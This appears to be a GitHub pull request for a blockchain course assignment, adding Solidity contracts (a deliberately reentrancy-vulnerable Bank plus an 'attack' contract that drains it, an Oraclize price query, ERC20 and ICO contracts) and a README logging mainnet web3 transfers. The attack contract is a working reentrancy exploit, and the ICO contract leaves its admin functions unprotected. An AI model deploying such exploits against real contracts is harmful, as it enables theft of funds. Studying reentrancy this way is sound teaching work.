Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 51 additions & 0 deletions DAOattack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
pragma solidity ^0.4.16;

contract Bank {
mapping(address => uint256) public clients;
uint256 public ethBalance;

function deposit() public payable {
clients[msg.sender] = msg.value + clients[msg.sender];
ethBalance = ethBalance + msg.value;
}

function withdraw(uint256 amount) public {
require(amount <= clients[msg.sender]);
msg.sender.call.value(amount)();
ethBalance = ethBalance - amount;
clients[msg.sender] = clients[msg.sender] - amount;
}
}

contract attack {
bool public is_attack=true;
address public bankAddress;

Bank public B;

constructor(address _bankAddress) public{
bankAddress=_bankAddress;
B = Bank(bankAddress);

}

function() public payable {
if (is_attack == true){
is_attack = false;
B.withdraw(1 ether);
}

}
function deposit11() public payable{

B.deposit.value(msg.value)();
}

function withdraw11() public{

B.withdraw(1 ether);
msg.sender.transfer(this.balance);

}

}
49 changes: 49 additions & 0 deletions Oracalize.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
pragma solidity ^0.4.20;
/*
Import the Oraclize contract
outside of Remix, direct imports from GitHub may not be supported
instead, use a local import or just paste the Oraclize code in directly
*/
import "./OraclizeI.sol";

contract Template is usingOraclize {

// Define variables
uint public USDPRICE; // number obtained from random.org
mapping(bytes32 => bool) validIds; // used for validating Query IDs

// Events used to track contract actions
event LogOraclizeQuery(string description);
event LogResultReceived(uint number);

// Constructor
function Template() public {
// set Oraclize proof type
oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS);
}

// Query Oraclize to get random number
// Query Oraclize to get random number
function getUSDquote() public payable {
// require ETH to cover callback gas costs
require(msg.value >= 0.004 ether); // 200,000 gas * 20 Gwei = 0.004 ETH
// send query
oraclize_query(
"nested",
"[URL] ['json(https://api.coinmarketcap.com/v2/ticker/1027/?convert=ETH).data.quotes.USD.price']"
//"[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random[\"data\"]', '\\n{\"jsonrpc\": \"2.0\", \"method\": \"generateSignedIntegers\", \"params\": { \"apiKey\": \"00000000-0000-0000-0000-000000000000\", \"n\": 1, \"min\": 1, \"max\": 1000, \"replacement\": true, \"base\": 10 }, \"id\": 14215 }']"
);
}

// Callback function for Oraclize once it retreives the data
function __callback(bytes32 queryId, string result, bytes proof) public {
// only allow Oraclize to call this function
require(msg.sender == oraclize_cbAddress());

USDPRICE = parseInt(result);

// log the new number that was obtained

}

}
98 changes: 98 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,3 +20,101 @@
1. using web3 on mainnet, transfer all tokens and eth to my address `0xea9568670a5fE44D42e76386d208165c25A320f7`
1. do a pull request with your web3 code
1. do a pull request with your record of prices and transactions costs

Eth address: 0xdf66b18b04bCaDb2712bC7D7F4657fbe94A76953

Tx----
TxHash:0xe847a1243644f0e8518b4d3898c09bfaadef4e01ae3bfb9b7963fee00f1e47ff TxReceipt Status:SuccessBlock Height:6191977 (93 block confirmations)TimeStamp:22 mins ago (Aug-22-2018 07:06:55 AM +UTC)From:0x4da36e7948c692be53010a626359bc47c317813dTo:Contract 0xe41d2489571d322189246dafa5ebde1f4699f498 (ZRX_Token) Token Transfered:
From 0x4da36e7948c692be53010a626359bc47c317813dTo 0xea9568670a5fe44d42e76386d208165c25a320f7for 36.194 ($25.78) ZRX
Value: 0 Ether ($0.00) Gas Limit: 200000 Gas Used By Txn: 37106 Gas Price: 0.00000000301 Ether (3.01 Gwei) Actual Tx Cost/Fee: 0.00011168906 Ether ($0.03) Nonce & {Position}:17 | {24} Input Data:

Function: transfer(address _to, uint256 _value)

MethodID: 0xa9059cbb
[0]: 000000000000000000000000ea9568670a5fe44d42e76386d208165c25a320f7
[1]: 000000000000000000000000000000000000000000000001f64aeb3c687d0000
--------------

TxHash:0x5f4ea2502cd852732b6ca6d9b915a05c60eaec839241ecf507ef994481a11594 TxReceipt Status:SuccessBlock Height:6191807 (276 block confirmations)TimeStamp:1 hr 4 mins ago (Aug-22-2018 06:27:10 AM +UTC)From:0x4da36e7948c692be53010a626359bc47c317813dTo:0xea9568670a5fe44d42e76386d208165c25a320f7 Value: 0.116 Ether ($32.96) Gas Limit: 200000 Gas Used By Txn: 21004 Gas Price: 0.00000000301 Ether (3.01 Gwei) Actual Tx Cost/Fee: 0.00006322204 Ether ($0.02) Nonce & {Position}:12 | {62} Input Data:

0x00

--------------

TxHash:0xd1df648f2a9a1dcd2926eb4498fabfdf7d7e6f0e331d09b1d4569274bb153330 TxReceipt Status:SuccessBlock Height:6191098 (990 block confirmations)TimeStamp:4 hrs ago (Aug-22-2018 03:32:27 AM +UTC)From:0xfeb7a31cad312cd05e8103b2f820ffc58dc31ef0To:0x4da36e7948c692be53010a626359bc47c317813d Value: 0.0095431 Ether ($2.71) Gas Limit: 22000 Gas Used By Txn: 21004 Gas Price: 0.000000009 Ether (9 Gwei) Actual Tx Cost/Fee: 0.000189036 Ether ($0.05) Nonce & {Position}:1 | {25} Input Data:

0x00
-------------

TxHash:0xc1a4880ffb9de43b1fbf73410ae9ac53f087257b6b5712fc5d3086e7c04ee17a TxReceipt Status:SuccessBlock Height:6191953 (142 block confirmations)TimeStamp:32 mins ago (Aug-22-2018 07:02:23 AM +UTC)From:0xea9568670a5fe44d42e76386d208165c25a320f7To:0x4da36e7948c692be53010a626359bc47c317813d Value: 0.01 Ether ($2.84) Gas Limit: 21000 Gas Used By Txn: 21000 Gas Price: 0.00000000310001 Ether (3.10001 Gwei) Actual Tx Cost/Fee: 0.00006510021 Ether ($0.02) Nonce & {Position}:8 | {110} Input Data:

0x

Private Note: <To access the private Note feature, you must be logged in>

-------
main-tx.js ETH transfer

let Web3 = require('web3');
let web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/'));
let util = require('ethereumjs-util');
let tx = require('ethereumjs-tx');
let privateKey = '<hidden>';
let publicKey = util.bufferToHex(util.privateToPublic(privateKey));
let address = '0x' + util.bufferToHex(util.sha3(publicKey)).slice(26);

util.bufferToHex(util.privateToAddress(privateKey))
transactionCount = web3.eth.getTransactionCount(address);
let rawTx = {
nonce: web3.toHex(transactionCount),
gasPrice: web3.toHex(web3.toWei(3.01, 'shannon')),
gasLimit: web3.toHex(200000),
to: '0xea9568670a5fE44D42e76386d208165c25A320f7',
value: web3.toHex(web3.toWei('0.116','ether')),
data: '0x0',
chainId: web3.toHex(1),
};
let transactionCount = web3.eth.getTransactionCount(address);
let transaction = new tx(rawTx);
util.bufferToHex(transaction.serialize());
util.bufferToHex(util.sha3(util.bufferToHex(transaction.serialize())));
let p = new Buffer(privateKey.slice(2), 'hex');
transaction.sign(p);
util.bufferToHex(transaction.hash(true));
let signedTx = util.bufferToHex(transaction.serialize());
web3.eth.sendRawTransaction(signedTx);
console.log(result)

------
token-tx.js TOKEN TRANSFER

let Web3 = require('web3');
let web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/'));
let util = require('ethereumjs-util');
let tx = require('ethereumjs-tx');
let privateKey = '<hidden>';
let publicKey = util.bufferToHex(util.privateToPublic(privateKey));
let address = '0x' + util.bufferToHex(util.sha3(publicKey)).slice(26);

util.bufferToHex(util.privateToAddress(privateKey))
let p = new Buffer(privateKey.slice(2), 'hex');
let utils = require('web3-utils');

transactionCount = web3.eth.getTransactionCount(address);
let rawTx = {
nonce: web3.toHex(transactionCount),
gasPrice: web3.toHex(web3.toWei(3.01, 'shannon')),
gasLimit: web3.toHex(200000),
to: '0xa3d58c4e56fedcae3a7c43a725aee9a71f0ece4e',
value: web3.toHex(0),
data: '0xa9059cbb' + '000000000000000000000000ea9568670a5fE44D42e76386d208165c25A320f7' + utils.padLeft(web3.toHex(web3.toWei(39.94, 'ether')),64).substring(2,),
chainId: web3.toHex(1),
};
transaction = new tx(rawTx);
transaction.sign(p);
signedTx = util.bufferToHex(transaction.serialize());
res= web3.eth.sendRawTransaction(signedTx);
console.log(res)

-----------------------------------------------

39 changes: 39 additions & 0 deletions contract/BurnableToken.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
pragma solidity ^0.4.19;

import "./StandardToken.sol";


/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {

event Burn(address indexed burner, uint256 value);

/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}

/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
_burnFrom(_from, _value);
}

/**
* @dev Overrides StandardToken._burn in order for burn and burnFrom to emit
* an additional Burn event.
*/
function _burn(address _who, uint256 _value) internal {
super._burn(_who, _value);
emit Burn(_who, _value);
}
}
35 changes: 35 additions & 0 deletions contract/ERC20.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
pragma solidity ^0.4.19;


/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);

function balanceOf(address _who) public view returns (uint256);

function allowance(address _owner, address _spender)
public view returns (uint256);

function transfer(address _to, uint256 _value) public returns (bool);

function approve(address _spender, uint256 _value)
public returns (bool);

function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);

event Transfer(
address indexed from,
address indexed to,
uint256 value
);

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
117 changes: 117 additions & 0 deletions contract/ICO.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
pragma solidity ^0.4.19;

import "./BurnableToken.sol";
import "./StandardToken.sol";
import "./MyERC20.sol";
import "./SafeMath.sol";




contract ICO{
using SafeMath for uint256;
MyERC20 public token;
MyERC20 public dToken;
address public wallet;
uint public _totalSupply;
uint public startTimePre;
uint public endTimePre;

uint public ethLimit = 10**13;
uint public defLimit = 1000;

uint256 public rateMain;
bool public icoStop=false;
bool public eventEnded;
mapping(address => bool) public whitelistedAddressPre;
mapping(address => bool) public whitelistedAddressMain;
mapping(address => uint256) public contributedValue;
mapping(address => uint) balances;

event TokenPre(address indexed participant, uint256 value, uint256 tokens);
// event TokenMain(address indexed participant, uint256 value, uint256 tokens);
// event WhitelistPre(address indexed whitelistedAddress, bool whitelistedStatus);
// event WhitelistMain(address indexed whitelistedAddress, bool whitelistedStatus);

/**
* @dev all functions can only be called before event has ended
*/
modifier eventNotEnded() {
require(eventEnded == false);
_;
}

constructor() public{
wallet = msg.sender;
startTimePre = now;
endTimePre = now + 5 hours;
}

function MyERC20TokenEvent(address _contractAddress) public {
token = MyERC20(_contractAddress);

}

function createDEF (address _tokenAddress) public{
dToken = MyERC20(_tokenAddress);
}


uint private _value = 1*10**13;

function() public payable eventNotEnded{
require(now >= startTimePre && now <= endTimePre);
uint tokens;
if (msg.value <= _value && _totalSupply <= _value) {
tokens = msg.value.mul(10);
} else {
if (_totalSupply < _value && msg.value >= _value){
tokens = _value.sub(_totalSupply) .mul(10);
tokens += msg.value.sub(_value).mul(5);
}
else{
tokens = msg.value.mul(5);
}

}

_totalSupply = _totalSupply.add(tokens);
token.transfer(msg.sender,tokens);
TokenPre(msg.sender, _totalSupply, tokens);//record contribution in logs
forwardFunds();//send eth for safekeeping
}

function BuyUsingDEF(uint defToken) public eventNotEnded {
require(now >= startTimePre && now <= endTimePre);

uint tokens;
if (defToken <= defLimit) {
tokens = 10;
} else {
if (_totalSupply < _value && defToken >= defLimit){

tokens = 10 + defToken.sub(1000)*5;
}
else{
tokens = defToken * 5;
}

}

_totalSupply = _totalSupply.add(tokens);
//token.transfer(msg.sender,tokens); //send bought tokens to his account
dToken.transferFrom(msg.sender,wallet,defToken); //transfer def tokens to owner
TokenPre(msg.sender, _totalSupply, tokens);//record contribution in logs

}

function forwardFunds() internal {
wallet.transfer(msg.value);
}

function stopIco() public{
eventEnded= true;
}


}
Loading